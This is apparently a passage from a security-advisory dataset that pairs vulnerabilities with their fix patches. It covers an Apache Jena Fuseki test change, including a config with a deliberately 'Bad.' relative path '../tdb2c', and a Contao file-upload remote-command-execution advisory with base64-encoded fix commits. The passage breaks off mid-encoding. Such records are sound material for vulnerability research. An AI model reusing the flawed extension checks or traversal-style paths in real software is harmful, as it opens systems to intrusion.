-            assertTrue(Files.exists(pathDB));
-
-        HttpOp.httpDelete(adminURL()+"datasets/"+dbName);
-
-        assertFalse(exists(datasetURL));
-
-        //if ( hasFiles )
-            assertFalse(Files.exists(pathDB));
-
-        // Recreate : no contents.
-        HttpOp.httpPostForm(adminURL()+"datasets", params);
-        assertTrue(exists(datasetURL), ()->"false: exists("+datasetURL+")");
-        int x2 = count(conn);
-        assertEquals(0, x2);
-        if ( hasFiles )
-            assertTrue(Files.exists(pathDB));
-    }
-
-    private static boolean exists(String url) {
-        try ( TypedInputStream in = HttpOp.httpGet(url) ) {
-            return true;
-        } catch (HttpException ex) {
-            if ( ex.getStatusCode() == HttpSC.NOT_FOUND_404 )
-                return false;
-            throw ex;
-        }
-    }
-
-    static int count(RDFConnection conn) {
-        try ( QueryExecution qExec = conn.query("SELECT (count(*) AS ?C) { ?s ?p ?o }")) {
-            return qExec.execSelect().next().getLiteral("C").getInt();
-        }
-    }
-}
-
diff --git a/jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2b.ttl b/jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2b.ttl
index 572927c331d..56a8a9a0d3e 100644
--- a/jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2b.ttl
+++ b/jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2b.ttl
@@ -15,4 +15,4 @@ PREFIX tdb2:    <http://jena.apache.org/2016/tdb#>
     fuseki:dataset        <#dataset> .
 
 <#dataset> rdf:type      tdb2:DatasetTDB2 ;
-    tdb2:location "target/tdb2b" .
+    tdb2:location "--mem--" .
diff --git a/jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2c.ttl b/jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2c.ttl
new file mode 100644
index 00000000000..359edd43dee
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-main/testing/Config/config-tdb2c.ttl
@@ -0,0 +1,19 @@
+## Licensed under the terms of http://www.apache.org/licenses/LICENSE-2.0
+
+PREFIX :        <#>
+PREFIX fuseki:  <http://jena.apache.org/fuseki#>
+PREFIX rdf:     <http://www.w3.org/1999/02/22-rdf-syntax-ns#>
+
+PREFIX rdfs:    <http://www.w3.org/2000/01/rdf-schema#>
+PREFIX ja:      <http://jena.hpl.hp.com/2005/11/Assembler#>
+PREFIX tdb2:    <http://jena.apache.org/2016/tdb#>
+
+<#service1> rdf:type fuseki:Service ;
+    fuseki:name           "test-tdb2b" ; 
+    fuseki:endpoint       [ fuseki:name "sparql" ;
+                            fuseki:operation fuseki:query ] ;
+    fuseki:dataset        <#dataset> .
+
+<#dataset> rdf:type      tdb2:DatasetTDB2 ;
+    # Bad.
+    tdb2:location "../tdb2c" .", "url": "https://github.com/apache/jena/commit/35350569b4c1fd432d92e7c92af9597c4400debe.patch" } ]
null
GHSA-vm6r-j788-hjh5
Contao affected by remote command execution through file upload
null
[ { "commit_message": "[PATCH] Merge commit from fork core-bundle/contao/classes/FileUpload.php | 3 ++- core-bundle/contao/dca/tl_files.php | 3 ++- core-bundle/contao/drivers/DC_Folder.php | 10 +++++++++- 3 files changed, 13 insertions(+), 3 deletions(-)", "patch_text_b64": "RnJvbSA5NDQ1ZDUwOWYxMmE3ZjFiNjhhNDc5NGRjYzVlM2U0NTliMzYzZWJiIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBMZW8gRmV5ZXIgPDExOTIwNTcrbGVvZmV5ZXJAdXNlcnMubm9yZXBseS5naXRodWIuY29tPgpEYXRlOiBUdWUsIDE3IFNlcCAyMDI0IDA4OjEzOjQzICswMjAwClN1YmplY3Q6IFtQQVRDSF0gTWVyZ2UgY29tbWl0IGZyb20gZm9yawoKLS0tCiBjb3JlLWJ1bmRsZS9jb250YW8vY2xhc3Nlcy9GaWxlVXBsb2FkLnBocCB8ICAzICsrLQogY29yZS1idW5kbGUvY29udGFvL2RjYS90bF9maWxlcy5waHAgICAgICAgfCAgMyArKy0KIGNvcmUtYnVuZGxlL2NvbnRhby9kcml2ZXJzL0RDX0ZvbGRlci5waHAgIHwgMTAgKysrKysrKysrLQogMyBmaWxlcyBjaGFuZ2VkLCAxMyBpbnNlcnRpb25zKCspLCAzIGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2NvcmUtYnVuZGxlL2NvbnRhby9jbGFzc2VzL0ZpbGVVcGxvYWQucGhwIGIvY29yZS1idW5kbGUvY29udGFvL2NsYXNzZXMvRmlsZVVwbG9hZC5waHAKaW5kZXggNmZlMjQ4NzA0ODEuLmM4ZmQ4NTEyNGY0IDEwMDY0NAotLS0gYS9jb3JlLWJ1bmRsZS9jb250YW8vY2xhc3Nlcy9GaWxlVXBsb2FkLnBocAorKysgYi9jb3JlLWJ1bmRsZS9jb250YW8vY2xhc3Nlcy9GaWxlVXBsb2FkLnBocApAQCAtMTAsNiArMTAsNyBAQAogCiBuYW1lc3BhY2UgQ29udGFvOwogCit1c2UgU3ltZm9ueVxDb21wb25lbnRcRmlsZXN5c3RlbVxQYXRoOwogdXNlIFN5bWZvbnlcQ29tcG9uZW50XEh0dHBGb3VuZGF0aW9uXEZpbGVcVXBsb2FkZWRGaWxlOwogCiAvKioKQEAgLTE0NCw3ICsxNDUsNyBAQCBwdWJsaWMgZnVuY3Rpb24gdXBsb2FkVG8oJHN0clRhcmdldCkKIAkJCX0KIAkJCWVsc2UKIAkJCXsKLQkJCQkkc3RyRXh0ZW5zaW9uID0gc3RydG9sb3dlcihzdWJzdHIoJGZpbGVbJ25hbWUnXSwgc3RycnBvcygkZmlsZVsnbmFtZSddLCAnLicpICsgMSkpOworCQkJCSRzdHJFeHRlbnNpb24gPSBQYXRoOjpnZXRFeHRlbnNpb24oJGZpbGVbJ25hbWUnXSwgdHJ1ZSk7CiAKIAkJCQkvLyBJbWFnZSBpcyB0b28gYmlnCiAJCQkJaWYgKFxpbl9hcnJheSgkc3RyRXh0ZW5zaW9uLCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICd3ZWJwJywgJ2F2aWYnLCAnaGVpYycsICdqeGwnKSkgJiYgQ29uZmlnOjpnZXQoJ2ltYWdlV2lkdGgnKSAmJiBDb25maWc6OmdldCgnaW1hZ2VIZWlnaHQnKSAmJiBTeXN0ZW06OmdldENvbnRhaW5lcigpLT5nZXRQYXJhbWV0ZXIoJ2NvbnRhby5pbWFnZS5yZWplY3RfbGFyZ2VfdXBsb2FkcycpKQpkaWZmIC0tZ2l0IGEvY29yZS1idW5kbGUvY29udGFvL2RjYS90bF9maWxlcy5waHAgYi9jb3JlLWJ1bmRsZS9jb250YW8vZGNhL3RsX2ZpbGVzLnBocAppbmRleCA2MDE0NmJlZjQyMS4uNTUzNzM0YjBkMzkgMTAwNjQ0Ci0tLSBhL2NvcmUtYnVuZGxlL2NvbnRhby9kY2EvdGxfZmlsZXMucGhwCisrKyBiL2NvcmUtYnVuZGxlL2NvbnRhby9kY2EvdGxfZmlsZXMucGhwCkBAIC0yNyw2ICsyNyw3IEBACiB1c2UgQ29udGFvXFN0cmluZ1V0aWw7CiB1c2UgQ29udGFvXFN5c3RlbTsKIHVzZSBDb250YW9cVmFsaWRhdG9yOwordXNlIFN5bWZvbnlcQ29tcG9uZW50XEZpbGVzeXN0ZW1cUGF0aDsKIHVzZSBTeW1mb255XENvbXBvbmVudFxGaW5kZXJcRmluZGVyOwogCiAkR0xPQkFMU1snVExfRENBJ11bJ3RsX2ZpbGVzJ10gPSBhcnJheQpAQCAtNDgwLDcgKzQ4MSw3IEBAIHB1YmxpYyBmdW5jdGlvbiBhZGp1c3RQYWxldHRlcyhzdHJpbmcgJHN0clBhbGV0dGUsIERhdGFDb250YWluZXIgJGRjKQogCQl9CiAKIAkJLy8gT25seSBzaG93IHRoZSBpbXBvcnRhbnQgcGFydCBmaWVsZHMgZm9yIGltYWdlcwotCQlpZiAoJGJsbklzRm9sZGVyIHx8ICFpbl9hcnJheShzdHJ0b2xvd2VyKHN1YnN0cigkZGMtPmlkLCBzdHJycG9zKCRkYy0+aWQsICcuJykgKyAxKSksIFN5c3RlbTo6Z2V0Q29udGFpbmVyKCktPmdldFBhcmFtZXRlcignY29udGFvLmltYWdlLnZhbGlkX2V4dGVuc2lvbnMnKSkpCisJCWlmICgkYmxuSXNGb2xkZXIgfHwgIWluX2FycmF5KFBhdGg6OmdldEV4dGVuc2lvbigkZGMtPmlkLCB0cnVlKSwgU3lzdGVtOjpnZXRDb250YWluZXIoKS0+Z2V0UGFyYW1ldGVyKCdjb250YW8uaW1hZ2UudmFsaWRfZXh0ZW5zaW9ucycpKSkKIAkJewogCQkJJHN0clBhbGV0dGUgPSBQYWxldHRlTWFuaXB1bGF0b3I6OmNyZWF0ZSgpCiAJCQkJLT5yZW1vdmVGaWVsZChhcnJheSgnaW1wb3J0YW50UGFydFgnLCAnaW1wb3J0YW50UGFydFknLCAnaW1wb3J0YW50UGFydFdpZHRoJywgJ2ltcG9ydGFudFBhcnRIZWlnaHQnKSkKZGlmZiAtLWdpdCBhL2NvcmUtYnVuZGxlL2NvbnRhby9kcml2ZXJzL0RDX0ZvbGRlci5waHAgYi9jb3JlLWJ1bmRsZS9jb250YW8vZHJpdmVycy9EQ19Gb2xkZXIucGhwCmluZGV4IDJkMmU2YThlYzBhLi5lMjQ4NTljZjBmMyAxMDA2NDQKLS0tIGEvY29yZS1idW5kbGUvY29udGFvL2RyaXZlcnMvRENfRm9sZGVyLnBocAorKysgYi9jb3JlLWJ1bmRsZS9jb250YW8vZHJpdmVycy9EQ19Gb2xkZXIucGhwCkBAIC05MjIsNyArOTIyLDcgQEAgcHVibGljIGZ1bmN0aW9uIGNvcHkoJHNvdXJjZT1udWxsLCAkZGVzdGluYXRpb249bnVsbCkKIAkJewogCQkJJGNvdW50ID0gMTsKIAkJCSRuZXcgPSAkZGVzdGluYXRpb247Ci0JCQkkZXh0ID0gc3RydG9sb3dlcihzdWJzdHIoJGRlc3RpbmF0aW9uLCBzdHJycG9zKCRkZXN0aW5hdGlvbiwgJy4nKSArIDEpKTsKKwkJCSRleHQgPSBQYXRoOjpnZXRFeHRlbnNpb24oJGRlc3RpbmF0aW9uLCB0cnVlKTsKIAogCQkJaWYgKCRleHQgPT09ICd0d2lnJykKIAkJCXsKQEAgLTIyNzksNiArMjI3OSwxNCBAQCBwcm90ZWN0ZWQgZnVuY3Rpb24gc2F2ZSgkdmFyVmFsdWUpCiAJCQkJfQogCQkJfQogCisJCQkvLyBDaGVjayB0aGUgZnVsbCBwYXRoIHRvIHNlZSBpZiB0aGUgZmlsZSBleHRlbnNpb24gaGFzIGNoYW5nZWQsIGJlY2F1c2UgaWYKKwkJCS8vICR0aGlzLT5zdHJFeHRlbnNpb24gaXMgZW1wdHksIGEgbmV3IGV4dGVuc2lvbiBjb3VsZCBvdGhlcndpc2UgYmUgYWRkZWQgdG8KKwkJCS8vICR2YXJWYWx1ZSBhbmQgY2hhbmdlIHRoZSBmaWxlIHR5cGUhCisJCQlpZiAoUGF0aDo6Z2V0RXh0ZW5zaW9uKCR2YXJWYWx1ZSAuICR0aGlzLT5zdHJFeHRlbnNpb24pICE9PSBQYXRoOjpnZXRFeHRlbnNpb24oJHRoaXMtPnZhclZhbHVlIC4gJHRoaXMtPnN0ckV4dGVuc2lvbikpCisJCQl7CisJCQkJdGhyb3cgbmV3IFxFeGNlcHRpb24oJEdMT0JBTFNbJ1RMX0xBTkcnXVsnRVJSJ11bJ2ludmFsaWROYW1lJ10pOworCQkJfQorCiAJCQkvLyBUaGUgdGFyZ2V0IGV4aXN0cwogCQkJaWYgKHN0cmNhc2VjbXAoJHRoaXMtPnN0clBhdGggLiAnLycgLiAkdGhpcy0+dmFyVmFsdWUgLiAkdGhpcy0+c3RyRXh0ZW5zaW9uLCAkdGhpcy0+c3RyUGF0aCAuICcvJyAuICR2YXJWYWx1ZSAuICR0aGlzLT5zdHJFeHRlbnNpb24pICE9PSAwICYmIGZpbGVfZXhpc3RzKCR0aGlzLT5zdHJSb290RGlyIC4gJy8nIC4gJHRoaXMtPnN0clBhdGggLiAnLycgLiAkdmFyVmFsdWUgLiAkdGhpcy0+c3RyRXh0ZW5zaW9uKSkKIAkJCXs=", "url": "https://github.com/contao/contao/commit/9445d509f12a7f1b68a4794dcc5e3e459b363ebb.patch" }, { "commit_message": "[PATCH] Merge commit from fork * Prevent files without extension to be uploaded and to be renamed to another file type * Shorten the comparison Co-authored-by: Fritz Michael Gschwantner <fmg@inspiredminds.at> Co-authored-by: Fritz Michael Gschwantner <fmg@inspiredminds.at> .../src/Resources/contao/classes/FileUpload.php | 3 ++- core-bundle/src/Resources/contao/dca/tl_files.php | 3 ++- core-bundle/src/Resources/contao/drivers/DC_Folder.php | 10 +++++++++- .../src/Resources/contao/library/Contao/GdImage.php | 4 +++- 4 files changed, 16 insertions(+), 4 deletions(-)", "patch_text_b64": "RnJvbSBhN2UzOWY5NmFjOGZkYzI4MWY3Y2FhYTk2ZTAxZGViMGUyNGFjN2QzIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBMZW8gRmV5ZXIgPDExOTIwNTcrbGVvZmV5ZXJAdXNlcnMubm9yZXBseS5naXRodWIuY29tPgpEYXRlOiBUdWUsIDE3IFNlcCAyMDI0IDA4OjEzOjQzICswMjAwClN1YmplY3Q6IFtQQVRDSF0gTWVyZ2UgY29tbWl0IGZyb20gZm9yawoKKiBQcmV2ZW50IGZpbGVzIHdpdGhvdXQgZXh0ZW5zaW9uIHRvIGJlIHVwbG9hZGVkIGFuZCB0byBiZSByZW5hbWVkIHRvIGFub3RoZXIgZmlsZSB0eXBlCgoqIFNob3J0ZW4gdGhlIGNvbXBhcmlzb24KCkNvLWF1dGhvcmVkLWJ5OiBGcml0eiBNaWNoYWVsIEdzY2h3YW50bmVyIDxmbWdAaW5zcGlyZWRtaW5kcy5hdD4KCi0tLS0tLS0tLQoKQ28tYXV0aG9yZWQtYnk6IEZyaXR6IE1pY2hhZWwgR3NjaHdhbnRuZXIgPGZtZ0BpbnNwaXJlZG1pbmRzLmF0PgotLS0KIC4uLi9zcmMvUmVzb3VyY2VzL2NvbnRhby9jbGFzc2VzL0ZpbGVVcGxvYWQucGhwICAgICAgICB8ICAzICsrLQogY29yZS1idW5kbGUvc3JjL1Jlc291cmNlcy9jb250YW8vZGNhL3RsX2ZpbGVzLnBocCAgICAgIHwgIDMgKystCiBjb3JlLWJ1bmRsZS9zcmMvUmVzb3VyY2VzL2NvbnRhby9kcml2ZXJzL0RDX0ZvbGRlci5waHAgfCAxMCArKysrKysrKystCiAuLi4vc3JjL1Jlc291cmNlcy9jb250YW8vbGlicmFyeS9Db250YW8vR2RJbWFnZS5waHAgICAgfCAgNCArKystCiA0IGZpbGVzIGNoYW5nZWQsIDE2IGluc2VydGlvbnMoKyksIDQgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvY29yZS1idW5kbGUvc3JjL1Jlc291cmNlcy9jb250YW8vY2xhc3Nlcy9GaWxlVXBsb2FkLnBocCBiL2NvcmUtYnVuZGxlL3NyYy9SZXNvdXJjZXMvY29udGFvL2NsYXNzZXMvRmlsZVVwbG9hZC5waHAKaW5kZXggMTIxZTM0ODg3YTEuLmU5YTg2N2EyZGZjIDEwMDY0NAotLS0gYS9jb3JlLWJ1bmRsZS9zcmMvUmVzb3VyY2VzL2NvbnRhby9jbGFzc2VzL0ZpbGVVcGxvYWQucGhwCisrKyBiL2NvcmUtYnVuZGxlL3NyYy9SZXNvdXJjZXMvY29udGFvL2NsYXNzZXMvRmlsZVVwbG9hZC5waHAKQEAgLTEwLDYgKzEwLDcgQEAKIAogbmFtZXNwYWNlIENvbnRhbzsKIAordXNlIFN5bWZvbnlcQ29tcG9uZW50XEZpbGVzeXN0ZW1cUGF0aDsKIHVzZSBTeW1mb255XENvbXBvbmVudFxIdHRwRm91bmRhdGlvblxGaWxlXFVwbG9hZGVkRmlsZTsKIAogLyoqCkBAIC0xNDQsNyArMTQ1LDcgQEAgcHVibGljIGZ1bmN0aW9uIHVwbG9hZFRvKCRzdHJUYXJnZXQpCiAJCQl9CiAJCQllbHNlCiAJCQl7Ci0JCQkJJHN0ckV4dGVuc2lvbiA9IHN0cnRvbG93ZXIoc3Vic3RyKCRmaWxlWyduYW1lJ10sIHN0cnJwb3MoJGZpbGVbJ25hbWUnXSwgJy4nKSArIDEpKTsKKwkJCQkkc3RyRXh0ZW5zaW9uID0gUGF0aDo6Z2V0RXh0ZW5zaW9uKCRmaWxlWyduYW1lJ10sIHRydWUpOwogCiAJCQkJLy8gSW1hZ2UgaXMgdG9vIGJpZwogCQkJCWlmIChcaW5fYXJyYXkoJHN0ckV4dGVuc2lvbiwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnd2VicCcsICdhdmlmJywgJ2hlaWMnLCAnanhsJykpICYmIFN5c3RlbTo6Z2V0Q29udGFpbmVyKCktPmdldFBhcmFtZXRlcignY29udGFvLmltYWdlLnJlamVjdF9sYXJnZV91cGxvYWRzJykpCmRpZmYgLS1naXQgYS9jb3JlLWJ1bmRsZS9zcmMvUmVzb3VyY2VzL2NvbnRhby9kY2EvdGxfZmlsZXMucGhwIGIvY29yZS1idW5kbGUvc3JjL1Jlc291cmNlcy9jb250YW8vZGNhL3RsX2ZpbGVzLnBocAppbmRleCA1NjQ1MTc2MTc2NC4uMjNlNWVkMDAyYzYgMTAwNjQ0Ci0tLSBhL2NvcmUtYnVuZGxlL3NyYy9SZXNvdXJjZXMvY29udGFvL2RjYS90bF9maWxlcy5waHAKKysrIGIvY29yZS1idW5kbGUvc3JjL1Jlc291cmNlcy9jb250YW8vZGNhL3RsX2ZpbGVzLnBocApAQCAtMjUsNiArMjUsNyBAQAogdXNlIENvbnRhb1xTdHJpbmdVdGlsOwogdXNlIENvbnRhb1xTeXN0ZW07CiB1c2UgQ29udGFvXFZhbGlkYXRvcjsKK3VzZSBTeW1mb255XENvbXBvbmVudFxGaWxlc3lzdGVtXFBhdGg7CiB1c2UgU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEZpbmRlcjsKIAogJEdMT0JBTFNbJ1RMX0RDQSddWyd0bF9maWxlcyddID0gYXJyYXkKQEAgLTQ5Niw3ICs0OTcsNyBAQCBwdWJsaWMgZnVuY3Rpb24gYWRqdXN0UGFsZXR0ZXMoRGF0YUNvbnRhaW5lciAkZGMpCiAJCX0KIAogCQkvLyBPbmx5IHNob3cgdGhlIGltcG9ydGFudCBwYXJ0IGZpZWxkcyBmb3IgaW1hZ2VzCi0JCWlmICgkYmxuSXNGb2xkZXIgfHwgIWluX2FycmF5KHN0cnRvbG93ZXIoc3Vic3RyKCRkYy0+aWQsIHN0cnJwb3MoJGRjLT5pZCwgJy4nKSArIDEpKSwgU3lzdGVtOjpnZXRDb250YWluZXIoKS0+Z2V0UGFyYW1ldGVyKCdjb250YW8uaW1hZ2UudmFsaWRfZXh0ZW5zaW9ucycpKSkKKwkJaWYgKCRibG5Jc0ZvbGRlciB8fCAhaW5fYXJyYXkoUGF0aDo6Z2V0RXh0ZW5zaW9uKCRkYy0+aWQsIHRydWUpLCBTeXN0ZW06OmdldENvbnRhaW5lcigpLT5nZXRQYXJhbWV0ZXIoJ2NvbnRhby5pbWFnZS52YWxpZF9leHRlbnNpb25zJykpKQogCQl7CiAJCQlQYWxldHRlTWFuaXB1bGF0b3I6OmNyZWF0ZSgpCiAJCQkJLT5yZW1vdmVGaWVsZChhcnJheSgnaW1wb3J0YW50UGFydFgnLCAnaW1wb3J0YW50UGFydFknLCAnaW1wb3J0YW50UGFydFdpZHRoJywgJ2ltcG9ydGFudFBhcnRIZWlnaHQnKSkKZGlmZiAtLWdpdCBhL2NvcmUtYnVuZGxlL3NyYy9SZXNvdXJjZXMvY29udGFvL2RyaXZlcnMvRENfRm9sZGVyLnBocCBiL2NvcmUtYnVuZGxlL3NyYy9SZXNvdXJjZXMvY29udGFvL2RyaXZlcnMvRENfRm9sZGVyLnBocAppbmRleCBkNmQwZjMzOWY4Ny4uNTRkY2JmNTFkOWIgMTAwNjQ0Ci0tLSBhL2NvcmUtYnVuZGxlL3NyYy9SZXNvdXJjZXMvY29udGFvL2RyaXZlcnMvRENfRm9sZGVyLnBocAorKysgYi9jb3JlLWJ1bmRsZS9zcmMvUmVzb3VyY2VzL2NvbnRhby9kcml2ZXJzL0RDX0ZvbGRlci5waHAKQEAgLTg5MCw3ICs4OTAsNyBAQCBwdWJsaWMgZnVuY3Rpb24gY29weSgkc291cmNlPW51bGwsICRkZXN0aW5hdGlvbj1udWxsKQogCQl7CiAJCQkkY291bnQgPSAxOwogCQkJJG5ldyA9ICRkZXN0aW5hdGlvbjsKLQkJCSRleHQgPSBzdHJ0b2xvd2VyKHN1YnN0cigkZGVzdGluYXRpb24sIHN0cnJwb3MoJGRlc3RpbmF0aW9uLCAnLicpICsgMSkpOworCQkJJGV4dCA9IFBhdGg6OmdldEV4dGVuc2lvbigkZGVzdGluYXRpb24sIHRydWUpOwogCiAJCQkvLyBBZGQgYSBzdWZmaXggaWYgdGhlIGZpbGUgZXhpc3RzCiAJCQl3aGlsZSAoZmlsZV9leGlzdHMoJHRoaXMtPnN0clJvb3REaXIgLiAnLycgLiAkbmV3KSAmJiAkY291bnQgPCAxMikKQEAgLTIzMDQsNiArMjMwNCwxNCBAQCBwcm90ZWN0ZWQgZnVuY3Rpb24gc2F2ZSgkdmFyVmFsdWUpCiAJCQkJfQogCQkJfQogCisJCQkvLyBDaGVjayB0aGUgZnVsbCBwYXRoIHRvIHNlZSBpZiB0aGUgZmlsZSBleHRlbnNpb24gaGFzIGNoYW5nZWQsIGJlY2F1c2UgaWYKKwkJCS8vICR0aGlzLT5zdHJFeHRlbnNpb24gaXMgZW1wdHksIGEgbmV3IGV4dGVuc2lvbiBjb3VsZCBvdGhlcndpc2UgYmUgYWRkZWQgdG8KKwkJCS8vICR2YXJWYWx1ZSBhbmQgY2hhbmdlIHRoZSBmaWxlIHR5cGUhCisJCQlpZiAoUGF0aDo6Z2V0RXh0ZW5zaW9uKCR2YXJWYWx1ZSAuICR0aGlzLT5zdHJFeHRlbnNpb24pICE9PSBQYXRoOjpnZXRFeHRlbnNpb24oJHRoaXMtPnZhclZhbHVlIC4gJHRoaXMtPnN0ckV4dGVuc2lvbikpCisJCQl7CisJCQkJdGhyb3cgbmV3IFxFeGNlcHRpb24oJEdMT0JBTFNbJ1RMX0xBTkcnXVsnRVJSJ11bJ2ludmFsaWROYW1lJ10pOworCQkJfQorCiAJCQkvLyBUaGUgdGFyZ2V0IGV4aXN0cwogCQkJaWYgKHN0cmNhc2VjbXAoJHRoaXMtPnN0clBhdGggLiAnLycgLiAkdGhpcy0+dmFyVmFsdWUgLiAkdGhpcy0+c3RyRXh0ZW5zaW9uLCAkdGhpcy0+c3RyUGF0aCAuICcvJyAuICR2YXJWYWx1ZSAuICR0aGlzLT5zdHJFeHRlbnNpb24pICE9PSAwICYmIGZpbGVfZXhpc3RzKCR0aGlzLT5zdHJSb290RGlyIC4gJy8nIC4gJHRoaXMtPnN0clBhdGggLiAnLycgLiAkdmFyVmFsdWUgLiAkdGhpcy0+c3RyRXh0ZW5zaW9uKSkKIAkJCXsKZGlmZiAtLWdpdCBhL2NvcmUtYnVuZGxlL3NyYy9SZXNvdXJjZXMvY29udGFvL2xpYnJhcnkvQ29udGFvL0dkSW1hZ2UucGhwIGIvY29yZS1idW5kbGUvc3JjL1Jlc291cmNlcy9jb250YW8vbGlicmFyeS9Db250YW8vR2RJbWFnZS5waHAKaW5kZXggY2FjY2I3OTBjOTIuLjM5YjA1MjVkY2QyIDEwMDY0NAotLS0gYS9jb3JlLWJ1bmRsZS9zcmMvUmVzb3VyY2VzL2NvbnRhby9saWJyYXJ5L0NvbnRhby9HZEltYWdlLnBocAorKysgYi9jb3JlLWJ1bmRsZS9zcmMvUmVzb3VyY2VzL2NvbnRhby9saWJyYXJ5L0NvbnRhby9HZEltYWdlLnBocApAQCAtMTAsNiArMTAsOCBAQAogCiBuYW1lc3BhY2UgQ29udGFvOwogCit1c2UgU3ltZm9ueVxDb21wb25lbnRcRmlsZXN5c3RlbVxQYXRoOworCiB0cmlnZ2VyX2RlcHJlY2F0aW9uKCdjb250YW8vY29yZS1idW5kbGUnLCAnNC4zJywgJ1VzaW5nIHRoZSAiQ29udGFvXEdkSW1hZ2UiIGNsYXNzIGhhcyBiZWVuIGRlcHJlY2F0ZWQgYW5kIHdpbGwgbm8gbG9uZ2VyIHdvcmsgaW4gQ29udGFvIDUuMC4gVXNlIHRoZSBJbWFnaW5lIGxpYnJhcnkgaW5zdGVhZC4nKTsKIAogLyoqCkBAIC0xNTcsNyArMTU5LDcgQEAgcHVibGljIGZ1bmN0aW9uIHNldFJlc291cmNlKCRnZFJlc291cmNlKQogCXB1YmxpYyBmdW5jdGlvbiBzYXZlVG9GaWxlKCRwYXRoKQogCXsKIAkJJGFyckdkSW5mbyA9IGdkX2luZm8oKTsKLQkJJGV4dGVuc2lvbiA9IHN0cnRvbG93ZXIoc3Vic3RyKCRwYXRoLCBzdHJycG9zKCRwYXRoLCAnLicpICsgMSkpOworCQkkZXh0ZW5zaW9uID0gUGF0aDo6Z2V0RXh0ZW5zaW9uKCRwYXRoLCB0cnVlKTsKIAogCQkvLyBGYWxsYmFjayB0byBQTkcgaWYgR0lGIGlzdCBub3Qgc3VwcG9ydGVkCiAJCWlmICgkZXh0ZW5zaW9uID09ICdnaWYnICYmICEkYXJyR2RJbmZvWydHSUYgQ3JlYXRlIFN1cHBvcnQnXSk=", "url": "https://github.com/contao/contao/commit/a7e39f96ac8fdc281f7caaa96e01deb0e24ac7d3.patch" }, { "commit_message": "[PATCH] Merge commit from fork MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Prevent files without extension to be uploaded and to be renamed to another file type * CS Co-authored-by: Martin Auswöger <martin@auswoeger.com> Co-authored-by: Martin Auswöger <martin@auswoeger.com> core-bundle/contao/classes/FileUpload.php | 3 ++- core-bundle/contao/dca/tl_files.php | 3 ++- core-bundle/contao/drivers/DC_Folder.php | 10 +++++++++- 3 files changed, 13 insertions(+), 3 deletions(-)", "patch_text_b64": "RnJvbSBmM2RiNTlmZmU1YTZjMGUxZjcwNWIzMjMwZWJkNWZmMTY4NjUyODBlIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBMZW8gRmV5ZXIgPDExOTIwNTcrbGVvZmV5ZXJAdXNlcnMubm9yZXBseS5naXRodWIuY29tPgpEYXRlOiBUdWUsIDE3IFNlcCAyMDI0IDA4OjEzOjQzICswMjAwClN1YmplY3Q6IFtQQVRDSF0gTWVyZ2UgY29tbWl0IGZyb20gZm9yawpNSU1FLVZlcnNpb246IDEuMApDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9VVRGLTgKQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdAoKKiBQcmV2ZW50IGZpbGVzIHdpdGhvdXQgZXh0ZW5zaW9uIHRvIGJlIHVwbG9hZGVkIGFuZCB0byBiZSByZW5hbWVkIHRvIGFub3RoZXIgZmlsZSB0eXBlCgoqIENTCgpDby1hdXRob3JlZC1ieTogTWFydGluIEF1c3fDtmdlciA8bWFydGluQGF1c3dvZWdlci5jb20+CgotLS0tLS0tLS0KCkNvLWF1dGhvcmVkLWJ5OiBNYXJ0aW4gQXVzd8O2Z2VyIDxtYXJ0aW5AYXVzd29lZ2VyLmNvbT4KLS0tCiBjb3JlLWJ1bmRsZS9jb250YW8vY2xhc3Nlcy9GaWxlVXBsb2FkLnBocCB8ICAzICsrLQogY29yZS1idW5kbGUvY29udGFvL2RjYS90bF9maWxlcy5waHAgICAgICAgfCAgMyArKy0KIGNvcmUtYnVuZGxlL2NvbnRhby9kcml2ZXJzL0RDX0ZvbGRlci5waHAgIHwgMTAgKysrKysrKysrLQogMyBmaWxlcyBjaGFuZ2VkLCAxMyBpbnNlcnRpb25zKCspLCAzIGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2NvcmUtYnVuZGxlL2NvbnRhby9jbGFzc2VzL0ZpbGVVcGxvYWQucGhwIGIvY29yZS1idW5kbGUvY29udGFvL2NsYXNzZXMvRmlsZVVwbG9hZC5waHAKaW5kZXggNmZlMjQ4NzA0ODEuLmM4ZmQ4NTEyNGY0IDEwMDY0NAotLS0gYS9jb3JlLWJ1bmRsZS9jb250YW8vY2xhc3Nlcy9GaWxlVXBsb2FkLnBocAorKysgYi9jb3JlLWJ1bmRsZS9jb250YW8vY2xhc3Nlcy9GaWxlVXBsb2FkLnBocApAQCAtMTAsNiArMTAsNyBAQAogCiBuYW1lc3BhY2UgQ29udGFvOwogCit1c2UgU3ltZm9ueVxDb21wb25lbnRcRmlsZXN5c3RlbVxQYXRoOwogdXNlIFN5bWZvbnlcQ29tcG9uZW50XEh0dHBGb3VuZGF0aW9uXEZpbGVcVXBsb2FkZWRGaWxlOwogCiAvKioKQEAgLTE0NCw3ICsxNDUsNyBAQCBwdWJsaWMgZnVuY3Rpb24gdXBsb2FkVG8oJHN0clRhcmdldCkKIAkJCX0KIAkJCWVsc2UKIAkJCXsKLQkJCQkkc3RyRXh0ZW5zaW9uID0gc3RydG9sb3dlcihzdWJzdHIoJGZpbGVbJ25hbWUnXSwgc3RycnBvcygkZmlsZVsnbmFtZSddLCAnLicpICsgMSkpOworCQkJCSRzdHJFeHRlbnNpb24gPSBQYXRoOjpnZXRFeHRlbnNpb24oJGZpbGVbJ25hbWUnXSwgdHJ1ZSk7CiAKIAkJCQ